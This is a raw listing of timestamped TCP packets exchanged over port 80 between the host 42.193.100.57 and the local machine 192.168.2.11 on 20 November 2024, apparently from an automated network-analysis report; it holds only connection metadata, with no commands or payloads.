        Nov 20, 2024 09:14:48.621431112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621443033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621454000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621454000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621464968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621480942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621486902 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621495962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621501923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621525049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621551037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621577978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621587992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621587992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621589899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621601105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621614933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621625900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621628046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621638060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621649981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621695995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621695995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.621706009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621716976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621723890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.621829987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705632925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705650091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705665112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705732107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705741882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705754042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705761909 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705765009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705779076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705792904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705794096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705804110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705818892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705837965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705849886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705861092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705867052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705872059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705883980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705902100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705902100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705903053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705936909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705949068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705960035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705967903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.705971003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.705998898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706031084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706032991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706046104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706057072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706068993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706084967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706106901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706106901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706178904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706190109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706202030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706203938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706213951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706224918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706227064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706240892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706265926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706305981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706316948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706329107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706340075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706351042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706367016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706398964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706409931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706413984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706423044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706439018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706449032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706450939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706479073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706499100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706510067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706521034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706526995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706542015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706551075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706577063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706621885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706643105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706655025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706666946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706676006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706695080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706701040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706706047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706716061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706720114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706732035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706732035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706746101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706772089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706780910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706793070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706809044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706826925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706836939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706846952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706854105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706892014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706892014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706927061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706939936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706959009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706969976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706980944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.706984997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.706999063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707012892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707024097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707036018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707041025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707062006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707091093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707102060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707113028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707123995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707127094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707146883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707190037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707206964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707218885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707227945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707237005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707247972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707253933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707259893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707282066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707360983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707396030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707407951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707417965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707428932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707439899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707451105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707453966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707463026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707463026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707489014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707514048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707525969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707525969 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707540035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707590103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707597971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707602024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707613945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707626104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707638979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707675934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707680941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707688093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707700014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707792997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707797050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707809925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707820892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707830906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707842112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707851887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707856894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707865953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707879066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707933903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707943916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707956076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707962036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.707974911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707986116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.707998037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.708000898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.708009958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.708023071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.708044052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.708080053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.708091974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.708102942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.708115101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.708121061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.708189964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.708189964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.741823912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.741837025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.741848946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.741869926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.741882086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.741894007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.741910934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.742032051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742043972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742055893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742060900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.742069006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742080927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742091894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742095947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.742095947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.742108107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742120028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.742129087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.742192984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.795784950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795797110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795808077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795819998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795846939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.795855999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795886040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.795922995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795953035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795964956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795964956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.795977116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.795978069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.795993090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796019077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796020031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796030045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796046972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796049118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796049118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796057940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796072960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796072960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796082020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796102047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796107054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796113014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796123981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796134949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796145916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796155930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796159029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796168089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796179056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796179056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796180964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796192884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796202898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796215057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796216965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796236038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796241999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796255112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796263933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796273947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796291113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796292067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796298981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796303988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796314955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796325922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796333075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796333075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796338081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796350002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796364069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796365023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796380043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796392918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796392918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796396971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796410084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796420097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796422958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796431065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796441078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796452045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796458006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796464920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796473980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796477079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796488047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796499014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796513081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796523094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796545982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796545982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796557903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796576977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796583891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796587944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796600103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796612024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796622038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796627045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796633959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796636105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796647072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796657085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796658039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796669006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796673059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796680927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796705008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796713114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796732903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796735048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796745062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796756983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796775103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796777964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796787024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796797991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796802044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796808958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796819925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796823025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796827078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796833992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796844959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796849012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796858072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796869993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796873093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796880007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796881914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796892881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796895981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796905041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796916008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796916962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796926975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796937943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796948910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796956062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796956062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.796961069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796969891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796979904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796992064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.796997070 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797005892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797018051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797028065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797033072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797039986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797046900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797053099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797064066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797074080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797075033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797086000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797096968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797102928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797110081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797118902 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797122955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797137022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797138929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797147036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797151089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797163010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797173023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.797178984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.797185898 CET804970142.193.100.57192.168.2.11
